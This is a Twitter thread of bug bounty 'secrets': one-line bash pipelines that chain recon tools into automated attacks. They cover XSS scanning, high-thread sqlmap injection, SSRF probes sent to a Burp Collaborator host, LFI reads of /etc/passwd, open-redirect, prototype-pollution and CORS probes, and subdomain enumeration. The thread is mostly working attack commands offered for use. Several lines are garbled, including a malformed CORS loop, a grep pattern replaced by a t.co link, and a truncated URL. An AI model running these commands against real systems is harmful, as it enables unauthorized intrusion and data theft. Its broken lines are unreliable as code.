Thread by @MeAsHacker_HNA

#Secret2
Bug Bounty with One-Line Bash Scripts💵😎

You can mention your favorite script. I will add them to this thread.
#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

https://twitter.com/MeAsHacker_HNA/status/1501457590638845953

1/ #Secret2

🎯 Hunt #XSS:
👉🏻 cat targets.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @
👉🏻 cat targets.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

2/ #Secret2

🎯 Hunt #SQLi:
👉🏻httpx -l targets.txt -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1'

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

3/ #Secret2

🎯 Hunt #SSRF:
👉🏻findomain -t target.com -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace YOUR.burpcollaborator.net

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

4/ #Secret2

🎯 Hunt #LFI:
👉🏻 gau vuln.target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

5/ #Secret2

🎯 Hunt #OpenRedirect:
👉🏻 gau vuln.target.com | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

6/

🎯 Hunt #PrototypePollution
👉🏻subfinder -d target.com | httpx -silent | sed 's/$/\/?__proto__[testparam]=exploit\//' | page-fetch -j 'window.testparam=="exploit"?"[VULN]":"[NOT]"' | sed "s/(//g"|sed"s/)//g" | sed "s/JS//g" | grep "VULN"

#100BugBountySecrets
🧵👇🏻

7/

🎯 Hunt #CORS:
👉🏻 gau vuln.target.com | while read url;do target=$(curl -s -I -H "Origin: evvil.com" -X GET $url) | if grep 'https://t.co/HWPPlCCXOJ'; then [Potentional CORS Found]echo $url;else echo Nothing on "$url";fi;done

#100BugBountySecrets
🧵👇🏻

8/ #Secret2

🎯 Extract .js:
👉🏻 echo target.com | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1
assetfinder vuln.target.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

9/ #Secret2

🎯 Extract URLs from comment:
👉🏻 cat targets.txt | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]'

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

10/ #Secret2

🎯 Dump In-scope Assets from HackerOne:
👉🏻 curl -sL github.com/arkadiyt/bount… | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type]

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

11/ #Secret2

🎯 Find live host/domain/assets:
👉🏻 subfinder -d vuln.target.com -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -u

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻

12/ #Secret2

🎯 Screenshot:
👉🏻 assetfinder -subs-only target.com | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @'

#BugBounty #BugBountyTip
#100BugBountySecrets
🧵👇🏻